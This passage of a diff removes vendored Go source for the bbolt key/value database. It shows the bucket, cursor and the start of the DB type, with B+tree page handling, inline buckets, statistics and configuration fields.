make(map[pgid]*node) - } - return b -} - -// Tx returns the tx of the bucket. -func (b *Bucket) Tx() *Tx { - return b.tx -} - -// Root returns the root of the bucket. -func (b *Bucket) Root() pgid { - return b.root -} - -// Writable returns whether the bucket is writable. -func (b *Bucket) Writable() bool { - return b.tx.writable -} - -// Cursor creates a cursor associated with the bucket. -// The cursor is only valid as long as the transaction is open. -// Do not use a cursor after the transaction is closed. -func (b *Bucket) Cursor() *Cursor { - // Update transaction statistics. - b.tx.stats.CursorCount++ - - // Allocate and return a cursor. - return &Cursor{ - bucket: b, - stack: make([]elemRef, 0), - } -} - -// Bucket retrieves a nested bucket by name. -// Returns nil if the bucket does not exist. -// The bucket instance is only valid for the lifetime of the transaction. -func (b *Bucket) Bucket(name []byte) *Bucket { - if b.buckets != nil { - if child := b.buckets[string(name)]; child != nil { - return child - } - } - - // Move cursor to key. - c := b.Cursor() - k, v, flags := c.seek(name) - - // Return nil if the key doesn't exist or it is not a bucket. - if !bytes.Equal(name, k) || (flags&bucketLeafFlag) == 0 { - return nil - } - - // Otherwise create a bucket and cache it. - var child = b.openBucket(v) - if b.buckets != nil { - b.buckets[string(name)] = child - } - - return child -} - -// Helper method that re-interprets a sub-bucket value -// from a parent into a Bucket -func (b *Bucket) openBucket(value []byte) *Bucket { - var child = newBucket(b.tx) - - // Unaligned access requires a copy to be made. - const unalignedMask = unsafe.Alignof(struct { - bucket - page - }{}) - 1 - unaligned := uintptr(unsafe.Pointer(&value[0]))&unalignedMask != 0 - if unaligned { - value = cloneBytes(value) - } - - // If this is a writable transaction then we need to copy the bucket entry. - // Read-only transactions can point directly at the mmap entry. - if b.tx.writable && !unaligned { - child.bucket = &bucket{} - *child.bucket = *(*bucket)(unsafe.Pointer(&value[0])) - } else { - child.bucket = (*bucket)(unsafe.Pointer(&value[0])) - } - - // Save a reference to the inline page if the bucket is inline. - if child.root == 0 { - child.page = (*page)(unsafe.Pointer(&value[bucketHeaderSize])) - } - - return &child -} - -// CreateBucket creates a new bucket at the given key and returns the new bucket. -// Returns an error if the key already exists, if the bucket name is blank, or if the bucket name is too long. -// The bucket instance is only valid for the lifetime of the transaction. -func (b *Bucket) CreateBucket(key []byte) (*Bucket, error) { - if b.tx.db == nil { - return nil, ErrTxClosed - } else if !b.tx.writable { - return nil, ErrTxNotWritable - } else if len(key) == 0 { - return nil, ErrBucketNameRequired - } - - // Move cursor to correct position. - c := b.Cursor() - k, _, flags := c.seek(key) - - // Return an error if there is an existing key. - if bytes.Equal(key, k) { - if (flags & bucketLeafFlag) != 0 { - return nil, ErrBucketExists - } - return nil, ErrIncompatibleValue - } - - // Create empty, inline bucket. - var bucket = Bucket{ - bucket: &bucket{}, - rootNode: &node{isLeaf: true}, - FillPercent: DefaultFillPercent, - } - var value = bucket.write() - - // Insert into node. - key = cloneBytes(key) - c.node().put(key, key, value, 0, bucketLeafFlag) - - // Since subbuckets are not allowed on inline buckets, we need to - // dereference the inline page, if it exists. This will cause the bucket - // to be treated as a regular, non-inline bucket for the rest of the tx. - b.page = nil - - return b.Bucket(key), nil -} - -// CreateBucketIfNotExists creates a new bucket if it doesn't already exist and returns a reference to it. -// Returns an error if the bucket name is blank, or if the bucket name is too long. -// The bucket instance is only valid for the lifetime of the transaction. -func (b *Bucket) CreateBucketIfNotExists(key []byte) (*Bucket, error) { - child, err := b.CreateBucket(key) - if err == ErrBucketExists { - return b.Bucket(key), nil - } else if err != nil { - return nil, err - } - return child, nil -} - -// DeleteBucket deletes a bucket at the given key. -// Returns an error if the bucket does not exist, or if the key represents a non-bucket value. -func (b *Bucket) DeleteBucket(key []byte) error { - if b.tx.db == nil { - return ErrTxClosed - } else if !b.Writable() { - return ErrTxNotWritable - } - - // Move cursor to correct position. - c := b.Cursor() - k, _, flags := c.seek(key) - - // Return an error if bucket doesn't exist or is not a bucket. - if !bytes.Equal(key, k) { - return ErrBucketNotFound - } else if (flags & bucketLeafFlag) == 0 { - return ErrIncompatibleValue - } - - // Recursively delete all child buckets. - child := b.Bucket(key) - err := child.ForEach(func(k, v []byte) error { - if _, _, childFlags := child.Cursor().seek(k); (childFlags & bucketLeafFlag) != 0 { - if err := child.DeleteBucket(k); err != nil { - return fmt.Errorf("delete bucket: %s", err) - } - } - return nil - }) - if err != nil { - return err - } - - // Remove cached copy. - delete(b.buckets, string(key)) - - // Release all bucket pages to freelist. - child.nodes = nil - child.rootNode = nil - child.free() - - // Delete the node if we have a matching key. - c.node().del(key) - - return nil -} - -// Get retrieves the value for a key in the bucket. -// Returns a nil value if the key does not exist or if the key is a nested bucket. -// The returned value is only valid for the life of the transaction. -func (b *Bucket) Get(key []byte) []byte { - k, v, flags := b.Cursor().seek(key) - - // Return nil if this is a bucket. - if (flags & bucketLeafFlag) != 0 { - return nil - } - - // If our target node isn't the same key as what's passed in then return nil. - if !bytes.Equal(key, k) { - return nil - } - return v -} - -// Put sets the value for a key in the bucket. -// If the key exist then its previous value will be overwritten. -// Supplied value must remain valid for the life of the transaction. -// Returns an error if the bucket was created from a read-only transaction, if the key is blank, if the key is too large, or if the value is too large. -func (b *Bucket) Put(key []byte, value []byte) error { - if b.tx.db == nil { - return ErrTxClosed - } else if !b.Writable() { - return ErrTxNotWritable - } else if len(key) == 0 { - return ErrKeyRequired - } else if len(key) > MaxKeySize { - return ErrKeyTooLarge - } else if int64(len(value)) > MaxValueSize { - return ErrValueTooLarge - } - - // Move cursor to correct position. - c := b.Cursor() - k, _, flags := c.seek(key) - - // Return an error if there is an existing key with a bucket value. - if bytes.Equal(key, k) && (flags&bucketLeafFlag) != 0 { - return ErrIncompatibleValue - } - - // Insert into node. - key = cloneBytes(key) - c.node().put(key, key, value, 0, 0) - - return nil -} - -// Delete removes a key from the bucket. -// If the key does not exist then nothing is done and a nil error is returned. -// Returns an error if the bucket was created from a read-only transaction. -func (b *Bucket) Delete(key []byte) error { - if b.tx.db == nil { - return ErrTxClosed - } else if !b.Writable() { - return ErrTxNotWritable - } - - // Move cursor to correct position. - c := b.Cursor() - k, _, flags := c.seek(key) - - // Return nil if the key doesn't exist. - if !bytes.Equal(key, k) { - return nil - } - - // Return an error if there is already existing bucket value. - if (flags & bucketLeafFlag) != 0 { - return ErrIncompatibleValue - } - - // Delete the node if we have a matching key. - c.node().del(key) - - return nil -} - -// Sequence returns the current integer for the bucket without incrementing it. -func (b *Bucket) Sequence() uint64 { return b.bucket.sequence } - -// SetSequence updates the sequence number for the bucket. -func (b *Bucket) SetSequence(v uint64) error { - if b.tx.db == nil { - return ErrTxClosed - } else if !b.Writable() { - return ErrTxNotWritable - } - - // Materialize the root node if it hasn't been already so that the - // bucket will be saved during commit. - if b.rootNode == nil { - _ = b.node(b.root, nil) - } - - // Increment and return the sequence. - b.bucket.sequence = v - return nil -} - -// NextSequence returns an autoincrementing integer for the bucket. -func (b *Bucket) NextSequence() (uint64, error) { - if b.tx.db == nil { - return 0, ErrTxClosed - } else if !b.Writable() { - return 0, ErrTxNotWritable - } - - // Materialize the root node if it hasn't been already so that the - // bucket will be saved during commit. - if b.rootNode == nil { - _ = b.node(b.root, nil) - } - - // Increment and return the sequence. - b.bucket.sequence++ - return b.bucket.sequence, nil -} - -// ForEach executes a function for each key/value pair in a bucket. -// If the provided function returns an error then the iteration is stopped and -// the error is returned to the caller. The provided function must not modify -// the bucket; this will result in undefined behavior. -func (b *Bucket) ForEach(fn func(k, v []byte) error) error { - if b.tx.db == nil { - return ErrTxClosed - } - c := b.Cursor() - for k, v := c.First(); k != nil; k, v = c.Next() { - if err := fn(k, v); err != nil { - return err - } - } - return nil -} - -// Stat returns stats on a bucket. -func (b *Bucket) Stats() BucketStats { - var s, subStats BucketStats - pageSize := b.tx.db.pageSize - s.BucketN += 1 - if b.root == 0 { - s.InlineBucketN += 1 - } - b.forEachPage(func(p *page, depth int) { - if (p.flags & leafPageFlag) != 0 { - s.KeyN += int(p.count) - - // used totals the used bytes for the page - used := pageHeaderSize - - if p.count != 0 { - // If page has any elements, add all element headers. - used += leafPageElementSize * uintptr(p.count-1) - - // Add all element key, value sizes. - // The computation takes advantage of the fact that the position - // of the last element's key/value equals to the total of the sizes - // of all previous elements' keys and values. - // It also includes the last element's header. - lastElement := p.leafPageElement(p.count - 1) - used += uintptr(lastElement.pos + lastElement.ksize + lastElement.vsize) - } - - if b.root == 0 { - // For inlined bucket just update the inline stats - s.InlineBucketInuse += int(used) - } else { - // For non-inlined bucket update all the leaf stats - s.LeafPageN++ - s.LeafInuse += int(used) - s.LeafOverflowN += int(p.overflow) - - // Collect stats from sub-buckets. - // Do that by iterating over all element headers - // looking for the ones with the bucketLeafFlag. - for i := uint16(0); i < p.count; i++ { - e := p.leafPageElement(i) - if (e.flags & bucketLeafFlag) != 0 { - // For any bucket element, open the element value - // and recursively call Stats on the contained bucket. - subStats.Add(b.openBucket(e.value()).Stats()) - } - } - } - } else if (p.flags & branchPageFlag) != 0 { - s.BranchPageN++ - lastElement := p.branchPageElement(p.count - 1) - - // used totals the used bytes for the page - // Add header and all element headers. - used := pageHeaderSize + (branchPageElementSize * uintptr(p.count-1)) - - // Add size of all keys and values. - // Again, use the fact that last element's position equals to - // the total of key, value sizes of all previous elements. - used += uintptr(lastElement.pos + lastElement.ksize) - s.BranchInuse += int(used) - s.BranchOverflowN += int(p.overflow) - } - - // Keep track of maximum page depth. - if depth+1 > s.Depth { - s.Depth = (depth + 1) - } - }) - - // Alloc stats can be computed from page counts and pageSize. - s.BranchAlloc = (s.BranchPageN + s.BranchOverflowN) * pageSize - s.LeafAlloc = (s.LeafPageN + s.LeafOverflowN) * pageSize - - // Add the max depth of sub-buckets to get total nested depth. - s.Depth += subStats.Depth - // Add the stats for all sub-buckets - s.Add(subStats) - return s -} - -// forEachPage iterates over every page in a bucket, including inline pages. -func (b *Bucket) forEachPage(fn func(*page, int)) { - // If we have an inline page then just use that. - if b.page != nil { - fn(b.page, 0) - return - } - - // Otherwise traverse the page hierarchy. - b.tx.forEachPage(b.root, 0, fn) -} - -// forEachPageNode iterates over every page (or node) in a bucket. -// This also includes inline pages. -func (b *Bucket) forEachPageNode(fn func(*page, *node, int)) { - // If we have an inline page or root node then just use that. - if b.page != nil { - fn(b.page, nil, 0) - return - } - b._forEachPageNode(b.root, 0, fn) -} - -func (b *Bucket) _forEachPageNode(pgid pgid, depth int, fn func(*page, *node, int)) { - var p, n = b.pageNode(pgid) - - // Execute function. - fn(p, n, depth) - - // Recursively loop over children. - if p != nil { - if (p.flags & branchPageFlag) != 0 { - for i := 0; i < int(p.count); i++ { - elem := p.branchPageElement(uint16(i)) - b._forEachPageNode(elem.pgid, depth+1, fn) - } - } - } else { - if !n.isLeaf { - for _, inode := range n.inodes { - b._forEachPageNode(inode.pgid, depth+1, fn) - } - } - } -} - -// spill writes all the nodes for this bucket to dirty pages. -func (b *Bucket) spill() error { - // Spill all child buckets first. - for name, child := range b.buckets { - // If the child bucket is small enough and it has no child buckets then - // write it inline into the parent bucket's page. Otherwise spill it - // like a normal bucket and make the parent value a pointer to the page. - var value []byte - if child.inlineable() { - child.free() - value = child.write() - } else { - if err := child.spill(); err != nil { - return err - } - - // Update the child bucket header in this bucket. - value = make([]byte, unsafe.Sizeof(bucket{})) - var bucket = (*bucket)(unsafe.Pointer(&value[0])) - *bucket = *child.bucket - } - - // Skip writing the bucket if there are no materialized nodes. - if child.rootNode == nil { - continue - } - - // Update parent node. - var c = b.Cursor() - k, _, flags := c.seek([]byte(name)) - if !bytes.Equal([]byte(name), k) { - panic(fmt.Sprintf("misplaced bucket header: %x -> %x", []byte(name), k)) - } - if flags&bucketLeafFlag == 0 { - panic(fmt.Sprintf("unexpected bucket header flag: %x", flags)) - } - c.node().put([]byte(name), []byte(name), value, 0, bucketLeafFlag) - } - - // Ignore if there's not a materialized root node. - if b.rootNode == nil { - return nil - } - - // Spill nodes. - if err := b.rootNode.spill(); err != nil { - return err - } - b.rootNode = b.rootNode.root() - - // Update the root node for this bucket. - if b.rootNode.pgid >= b.tx.meta.pgid { - panic(fmt.Sprintf("pgid (%d) above high water mark (%d)", b.rootNode.pgid, b.tx.meta.pgid)) - } - b.root = b.rootNode.pgid - - return nil -} - -// inlineable returns true if a bucket is small enough to be written inline -// and if it contains no subbuckets. Otherwise returns false. -func (b *Bucket) inlineable() bool { - var n = b.rootNode - - // Bucket must only contain a single leaf node. - if n == nil || !n.isLeaf { - return false - } - - // Bucket is not inlineable if it contains subbuckets or if it goes beyond - // our threshold for inline bucket size. - var size = pageHeaderSize - for _, inode := range n.inodes { - size += leafPageElementSize + uintptr(len(inode.key)) + uintptr(len(inode.value)) - - if inode.flags&bucketLeafFlag != 0 { - return false - } else if size > b.maxInlineBucketSize() { - return false - } - } - - return true -} - -// Returns the maximum total size of a bucket to make it a candidate for inlining. -func (b *Bucket) maxInlineBucketSize() uintptr { - return uintptr(b.tx.db.pageSize / 4) -} - -// write allocates and writes a bucket to a byte slice. -func (b *Bucket) write() []byte { - // Allocate the appropriate size. - var n = b.rootNode - var value = make([]byte, bucketHeaderSize+n.size()) - - // Write a bucket header. - var bucket = (*bucket)(unsafe.Pointer(&value[0])) - *bucket = *b.bucket - - // Convert byte slice to a fake page and write the root node. - var p = (*page)(unsafe.Pointer(&value[bucketHeaderSize])) - n.write(p) - - return value -} - -// rebalance attempts to balance all nodes. -func (b *Bucket) rebalance() { - for _, n := range b.nodes { - n.rebalance() - } - for _, child := range b.buckets { - child.rebalance() - } -} - -// node creates a node from a page and associates it with a given parent. -func (b *Bucket) node(pgid pgid, parent *node) *node { - _assert(b.nodes != nil, "nodes map expected") - - // Retrieve node if it's already been created. - if n := b.nodes[pgid]; n != nil { - return n - } - - // Otherwise create a node and cache it. - n := &node{bucket: b, parent: parent} - if parent == nil { - b.rootNode = n - } else { - parent.children = append(parent.children, n) - } - - // Use the inline page if this is an inline bucket. - var p = b.page - if p == nil { - p = b.tx.page(pgid) - } - - // Read the page into the node and cache it. - n.read(p) - b.nodes[pgid] = n - - // Update statistics. - b.tx.stats.NodeCount++ - - return n -} - -// free recursively frees all pages in the bucket. -func (b *Bucket) free() { - if b.root == 0 { - return - } - - var tx = b.tx - b.forEachPageNode(func(p *page, n *node, _ int) { - if p != nil { - tx.db.freelist.free(tx.meta.txid, p) - } else { - n.free() - } - }) - b.root = 0 -} - -// dereference removes all references to the old mmap. -func (b *Bucket) dereference() { - if b.rootNode != nil { - b.rootNode.root().dereference() - } - - for _, child := range b.buckets { - child.dereference() - } -} - -// pageNode returns the in-memory node, if it exists. -// Otherwise returns the underlying page. -func (b *Bucket) pageNode(id pgid) (*page, *node) { - // Inline buckets have a fake page embedded in their value so treat them - // differently. We'll return the rootNode (if available) or the fake page. - if b.root == 0 { - if id != 0 { - panic(fmt.Sprintf("inline bucket non-zero page access(2): %d != 0", id)) - } - if b.rootNode != nil { - return nil, b.rootNode - } - return b.page, nil - } - - // Check the node cache for non-inline buckets. - if b.nodes != nil { - if n := b.nodes[id]; n != nil { - return nil, n - } - } - - // Finally lookup the page from the transaction if no node is materialized. - return b.tx.page(id), nil -} - -// BucketStats records statistics about resources used by a bucket. -type BucketStats struct { - // Page count statistics. - BranchPageN int // number of logical branch pages - BranchOverflowN int // number of physical branch overflow pages - LeafPageN int // number of logical leaf pages - LeafOverflowN int // number of physical leaf overflow pages - - // Tree statistics. - KeyN int // number of keys/value pairs - Depth int // number of levels in B+tree - - // Page size utilization. - BranchAlloc int // bytes allocated for physical branch pages - BranchInuse int // bytes actually used for branch data - LeafAlloc int // bytes allocated for physical leaf pages - LeafInuse int // bytes actually used for leaf data - - // Bucket statistics - BucketN int // total number of buckets including the top bucket - InlineBucketN int // total number on inlined buckets - InlineBucketInuse int // bytes used for inlined buckets (also accounted for in LeafInuse) -} - -func (s *BucketStats) Add(other BucketStats) { - s.BranchPageN += other.BranchPageN - s.BranchOverflowN += other.BranchOverflowN - s.LeafPageN += other.LeafPageN - s.LeafOverflowN += other.LeafOverflowN - s.KeyN += other.KeyN - if s.Depth < other.Depth { - s.Depth = other.Depth - } - s.BranchAlloc += other.BranchAlloc - s.BranchInuse += other.BranchInuse - s.LeafAlloc += other.LeafAlloc - s.LeafInuse += other.LeafInuse - - s.BucketN += other.BucketN - s.InlineBucketN += other.InlineBucketN - s.InlineBucketInuse += other.InlineBucketInuse -} - -// cloneBytes returns a copy of a given slice. -func cloneBytes(v []byte) []byte { - var clone = make([]byte, len(v)) - copy(clone, v) - return clone -} diff --git a/vendor/go.etcd.io/bbolt/cursor.go b/vendor/go.etcd.io/bbolt/cursor.go deleted file mode 100644 index 98aeb449a4..0000000000 --- a/vendor/go.etcd.io/bbolt/cursor.go +++ /dev/null @@ -1,396 +0,0 @@ -package bbolt - -import ( - "bytes" - "fmt" - "sort" -) - -// Cursor represents an iterator that can traverse over all key/value pairs in a bucket in sorted order. -// Cursors see nested buckets with value == nil. -// Cursors can be obtained from a transaction and are valid as long as the transaction is open. -// -// Keys and values returned from the cursor are only valid for the life of the transaction. -// -// Changing data while traversing with a cursor may cause it to be invalidated -// and return unexpected keys and/or values. You must reposition your cursor -// after mutating data. -type Cursor struct { - bucket *Bucket - stack []elemRef -} - -// Bucket returns the bucket that this cursor was created from. -func (c *Cursor) Bucket() *Bucket { - return c.bucket -} - -// First moves the cursor to the first item in the bucket and returns its key and value. -// If the bucket is empty then a nil key and value are returned. -// The returned key and value are only valid for the life of the transaction. -func (c *Cursor) First() (key []byte, value []byte) { - _assert(c.bucket.tx.db != nil, "tx closed") - c.stack = c.stack[:0] - p, n := c.bucket.pageNode(c.bucket.root) - c.stack = append(c.stack, elemRef{page: p, node: n, index: 0}) - c.first() - - // If we land on an empty page then move to the next value. - // https://github.com/boltdb/bolt/issues/450 - if c.stack[len(c.stack)-1].count() == 0 { - c.next() - } - - k, v, flags := c.keyValue() - if (flags & uint32(bucketLeafFlag)) != 0 { - return k, nil - } - return k, v - -} - -// Last moves the cursor to the last item in the bucket and returns its key and value. -// If the bucket is empty then a nil key and value are returned. -// The returned key and value are only valid for the life of the transaction. -func (c *Cursor) Last() (key []byte, value []byte) { - _assert(c.bucket.tx.db != nil, "tx closed") - c.stack = c.stack[:0] - p, n := c.bucket.pageNode(c.bucket.root) - ref := elemRef{page: p, node: n} - ref.index = ref.count() - 1 - c.stack = append(c.stack, ref) - c.last() - k, v, flags := c.keyValue() - if (flags & uint32(bucketLeafFlag)) != 0 { - return k, nil - } - return k, v -} - -// Next moves the cursor to the next item in the bucket and returns its key and value. -// If the cursor is at the end of the bucket then a nil key and value are returned. -// The returned key and value are only valid for the life of the transaction. -func (c *Cursor) Next() (key []byte, value []byte) { - _assert(c.bucket.tx.db != nil, "tx closed") - k, v, flags := c.next() - if (flags & uint32(bucketLeafFlag)) != 0 { - return k, nil - } - return k, v -} - -// Prev moves the cursor to the previous item in the bucket and returns its key and value. -// If the cursor is at the beginning of the bucket then a nil key and value are returned. -// The returned key and value are only valid for the life of the transaction. -func (c *Cursor) Prev() (key []byte, value []byte) { - _assert(c.bucket.tx.db != nil, "tx closed") - - // Attempt to move back one element until we're successful. - // Move up the stack as we hit the beginning of each page in our stack. - for i := len(c.stack) - 1; i >= 0; i-- { - elem := &c.stack[i] - if elem.index > 0 { - elem.index-- - break - } - c.stack = c.stack[:i] - } - - // If we've hit the end then return nil. - if len(c.stack) == 0 { - return nil, nil - } - - // Move down the stack to find the last element of the last leaf under this branch. - c.last() - k, v, flags := c.keyValue() - if (flags & uint32(bucketLeafFlag)) != 0 { - return k, nil - } - return k, v -} - -// Seek moves the cursor to a given key and returns it. -// If the key does not exist then the next key is used. If no keys -// follow, a nil key is returned. -// The returned key and value are only valid for the life of the transaction. -func (c *Cursor) Seek(seek []byte) (key []byte, value []byte) { - k, v, flags := c.seek(seek) - - // If we ended up after the last element of a page then move to the next one. - if ref := &c.stack[len(c.stack)-1]; ref.index >= ref.count() { - k, v, flags = c.next() - } - - if k == nil { - return nil, nil - } else if (flags & uint32(bucketLeafFlag)) != 0 { - return k, nil - } - return k, v -} - -// Delete removes the current key/value under the cursor from the bucket. -// Delete fails if current key/value is a bucket or if the transaction is not writable. -func (c *Cursor) Delete() error { - if c.bucket.tx.db == nil { - return ErrTxClosed - } else if !c.bucket.Writable() { - return ErrTxNotWritable - } - - key, _, flags := c.keyValue() - // Return an error if current value is a bucket. - if (flags & bucketLeafFlag) != 0 { - return ErrIncompatibleValue - } - c.node().del(key) - - return nil -} - -// seek moves the cursor to a given key and returns it. -// If the key does not exist then the next key is used. -func (c *Cursor) seek(seek []byte) (key []byte, value []byte, flags uint32) { - _assert(c.bucket.tx.db != nil, "tx closed") - - // Start from root page/node and traverse to correct page. - c.stack = c.stack[:0] - c.search(seek, c.bucket.root) - - // If this is a bucket then return a nil value. - return c.keyValue() -} - -// first moves the cursor to the first leaf element under the last page in the stack. -func (c *Cursor) first() { - for { - // Exit when we hit a leaf page. - var ref = &c.stack[len(c.stack)-1] - if ref.isLeaf() { - break - } - - // Keep adding pages pointing to the first element to the stack. - var pgid pgid - if ref.node != nil { - pgid = ref.node.inodes[ref.index].pgid - } else { - pgid = ref.page.branchPageElement(uint16(ref.index)).pgid - } - p, n := c.bucket.pageNode(pgid) - c.stack = append(c.stack, elemRef{page: p, node: n, index: 0}) - } -} - -// last moves the cursor to the last leaf element under the last page in the stack. -func (c *Cursor) last() { - for { - // Exit when we hit a leaf page. - ref := &c.stack[len(c.stack)-1] - if ref.isLeaf() { - break - } - - // Keep adding pages pointing to the last element in the stack. - var pgid pgid - if ref.node != nil { - pgid = ref.node.inodes[ref.index].pgid - } else { - pgid = ref.page.branchPageElement(uint16(ref.index)).pgid - } - p, n := c.bucket.pageNode(pgid) - - var nextRef = elemRef{page: p, node: n} - nextRef.index = nextRef.count() - 1 - c.stack = append(c.stack, nextRef) - } -} - -// next moves to the next leaf element and returns the key and value. -// If the cursor is at the last leaf element then it stays there and returns nil. -func (c *Cursor) next() (key []byte, value []byte, flags uint32) { - for { - // Attempt to move over one element until we're successful. - // Move up the stack as we hit the end of each page in our stack. - var i int - for i = len(c.stack) - 1; i >= 0; i-- { - elem := &c.stack[i] - if elem.index < elem.count()-1 { - elem.index++ - break - } - } - - // If we've hit the root page then stop and return. This will leave the - // cursor on the last element of the last page. - if i == -1 { - return nil, nil, 0 - } - - // Otherwise start from where we left off in the stack and find the - // first element of the first leaf page. - c.stack = c.stack[:i+1] - c.first() - - // If this is an empty page then restart and move back up the stack. - // https://github.com/boltdb/bolt/issues/450 - if c.stack[len(c.stack)-1].count() == 0 { - continue - } - - return c.keyValue() - } -} - -// search recursively performs a binary search against a given page/node until it finds a given key. -func (c *Cursor) search(key []byte, pgid pgid) { - p, n := c.bucket.pageNode(pgid) - if p != nil && (p.flags&(branchPageFlag|leafPageFlag)) == 0 { - panic(fmt.Sprintf("invalid page type: %d: %x", p.id, p.flags)) - } - e := elemRef{page: p, node: n} - c.stack = append(c.stack, e) - - // If we're on a leaf page/node then find the specific node. - if e.isLeaf() { - c.nsearch(key) - return - } - - if n != nil { - c.searchNode(key, n) - return - } - c.searchPage(key, p) -} - -func (c *Cursor) searchNode(key []byte, n *node) { - var exact bool - index := sort.Search(len(n.inodes), func(i int) bool { - // TODO(benbjohnson): Optimize this range search. It's a bit hacky right now. - // sort.Search() finds the lowest index where f() != -1 but we need the highest index. - ret := bytes.Compare(n.inodes[i].key, key) - if ret == 0 { - exact = true - } - return ret != -1 - }) - if !exact && index > 0 { - index-- - } - c.stack[len(c.stack)-1].index = index - - // Recursively search to the next page. - c.search(key, n.inodes[index].pgid) -} - -func (c *Cursor) searchPage(key []byte, p *page) { - // Binary search for the correct range. - inodes := p.branchPageElements() - - var exact bool - index := sort.Search(int(p.count), func(i int) bool { - // TODO(benbjohnson): Optimize this range search. It's a bit hacky right now. - // sort.Search() finds the lowest index where f() != -1 but we need the highest index. - ret := bytes.Compare(inodes[i].key(), key) - if ret == 0 { - exact = true - } - return ret != -1 - }) - if !exact && index > 0 { - index-- - } - c.stack[len(c.stack)-1].index = index - - // Recursively search to the next page. - c.search(key, inodes[index].pgid) -} - -// nsearch searches the leaf node on the top of the stack for a key. -func (c *Cursor) nsearch(key []byte) { - e := &c.stack[len(c.stack)-1] - p, n := e.page, e.node - - // If we have a node then search its inodes. - if n != nil { - index := sort.Search(len(n.inodes), func(i int) bool { - return bytes.Compare(n.inodes[i].key, key) != -1 - }) - e.index = index - return - } - - // If we have a page then search its leaf elements. - inodes := p.leafPageElements() - index := sort.Search(int(p.count), func(i int) bool { - return bytes.Compare(inodes[i].key(), key) != -1 - }) - e.index = index -} - -// keyValue returns the key and value of the current leaf element. -func (c *Cursor) keyValue() ([]byte, []byte, uint32) { - ref := &c.stack[len(c.stack)-1] - - // If the cursor is pointing to the end of page/node then return nil. - if ref.count() == 0 || ref.index >= ref.count() { - return nil, nil, 0 - } - - // Retrieve value from node. - if ref.node != nil { - inode := &ref.node.inodes[ref.index] - return inode.key, inode.value, inode.flags - } - - // Or retrieve value from page. - elem := ref.page.leafPageElement(uint16(ref.index)) - return elem.key(), elem.value(), elem.flags -} - -// node returns the node that the cursor is currently positioned on. -func (c *Cursor) node() *node { - _assert(len(c.stack) > 0, "accessing a node with a zero-length cursor stack") - - // If the top of the stack is a leaf node then just return it. - if ref := &c.stack[len(c.stack)-1]; ref.node != nil && ref.isLeaf() { - return ref.node - } - - // Start from root and traverse down the hierarchy. - var n = c.stack[0].node - if n == nil { - n = c.bucket.node(c.stack[0].page.id, nil) - } - for _, ref := range c.stack[:len(c.stack)-1] { - _assert(!n.isLeaf, "expected branch node") - n = n.childAt(ref.index) - } - _assert(n.isLeaf, "expected leaf node") - return n -} - -// elemRef represents a reference to an element on a given page/node. -type elemRef struct { - page *page - node *node - index int -} - -// isLeaf returns whether the ref is pointing at a leaf page/node. -func (r *elemRef) isLeaf() bool { - if r.node != nil { - return r.node.isLeaf - } - return (r.page.flags & leafPageFlag) != 0 -} - -// count returns the number of inodes or page elements. -func (r *elemRef) count() int { - if r.node != nil { - return len(r.node.inodes) - } - return int(r.page.count) -} diff --git a/vendor/go.etcd.io/bbolt/db.go b/vendor/go.etcd.io/bbolt/db.go deleted file mode 100644 index 80b0095cc3..0000000000 --- a/vendor/go.etcd.io/bbolt/db.go +++ /dev/null @@ -1,1174 +0,0 @@ -package bbolt - -import ( - "errors" - "fmt" - "hash/fnv" - "log" - "os" - "runtime" - "sort" - "sync" - "time" - "unsafe" -) - -// The largest step that can be taken when remapping the mmap. -const maxMmapStep = 1 << 30 // 1GB - -// The data file format version. -const version = 2 - -// Represents a marker value to indicate that a file is a Bolt DB. -const magic uint32 = 0xED0CDAED - -const pgidNoFreelist pgid = 0xffffffffffffffff - -// IgnoreNoSync specifies whether the NoSync field of a DB is ignored when -// syncing changes to a file. This is required as some operating systems, -// such as OpenBSD, do not have a unified buffer cache (UBC) and writes -// must be synchronized using the msync(2) syscall. -const IgnoreNoSync = runtime.GOOS == "openbsd" - -// Default values if not set in a DB instance. -const ( - DefaultMaxBatchSize int = 1000 - DefaultMaxBatchDelay = 10 * time.Millisecond - DefaultAllocSize = 16 * 1024 * 1024 -) - -// default page size for db is set to the OS page size. -var defaultPageSize = os.Getpagesize() - -// The time elapsed between consecutive file locking attempts. -const flockRetryTimeout = 50 * time.Millisecond - -// FreelistType is the type of the freelist backend -type FreelistType string - -const ( - // FreelistArrayType indicates backend freelist type is array - FreelistArrayType = FreelistType("array") - // FreelistMapType indicates backend freelist type is hashmap - FreelistMapType = FreelistType("hashmap") -) - -// DB represents a collection of buckets persisted to a file on disk. -// All data access is performed through transactions which can be obtained through the DB. -// All the functions on DB will return a ErrDatabaseNotOpen if accessed before Open() is called. -type DB struct { - // When enabled, the database will perform a Check() after every commit. - // A panic is issued if the database is in an inconsistent state. This - // flag has a large performance impact so it should only be used for - // debugging purposes. - StrictMode bool - - // Setting the NoSync flag will cause the database to skip fsync() - // calls after each commit. This can be useful when bulk loading data - // into a database and you can restart the bulk load in the event of - // a system failure or database corruption. Do not set this flag for - // normal use. - // - // If the package global IgnoreNoSync constant is true, this value is - // ignored. See the comment on that constant for more details. - // - // THIS IS UNSAFE. PLEASE USE WITH CAUTION. - NoSync bool - - // When true, skips syncing freelist to disk. This improves the database - // write performance under normal operation, but requires a full database - // re-sync during recovery. - NoFreelistSync bool - - // FreelistType sets the backend freelist type. There are two options. Array which is simple but endures - // dramatic performance degradation if database is large and framentation in freelist is common. - // The alternative one is using hashmap, it is faster in almost all circumstances - // but it doesn't guarantee that it offers the smallest page id available. In normal case it is safe. - // The default type is array - FreelistType FreelistType - - // When true, skips the truncate call when growing the database. - // Setting this to true is only safe on non-ext3/ext4 systems. - // Skipping truncation avoids preallocation of hard drive space and - // bypasses a truncate() and fsync() syscall on remapping. - // - // https://github.com/boltdb/bolt/issues/284 - NoGrowSync bool - - // If you want to read the entire database fast, you can set MmapFlag to - // syscall.MAP_POPULATE on Linux 2.6.23+ for sequential read-ahead. - MmapFlags int - - // MaxBatchSize is the maximum size of a batch. Default value is - // copied from DefaultMaxBatchSize in Open. - // - // If <=0, disables batching. - // - // Do not change concurrently with calls to Batch. - MaxBatchSize int - - // MaxBatchDelay is the maximum delay before a batch starts. - // Default value is copied from DefaultMaxBatchDelay in Open. - // - // If <=0, effectively disables batching. - // - // Do not change concurrently with calls to Batch. - MaxBatchDelay time.Duration - - // AllocSize is the amount of space allocated when the database - // needs to create new pages. This is done to amortize the cost - // of truncate() and fsync() when growing the data file. - AllocSize int - - path string - openFile func(string, int, os.FileMode) (*os.File, error) - file *os.File - dataref []byte // mmap'ed readonly, write throws SEGV - data *[maxMapSize]byte - datasz int - filesz int // current on disk file size - meta0 *meta - meta1 *meta - 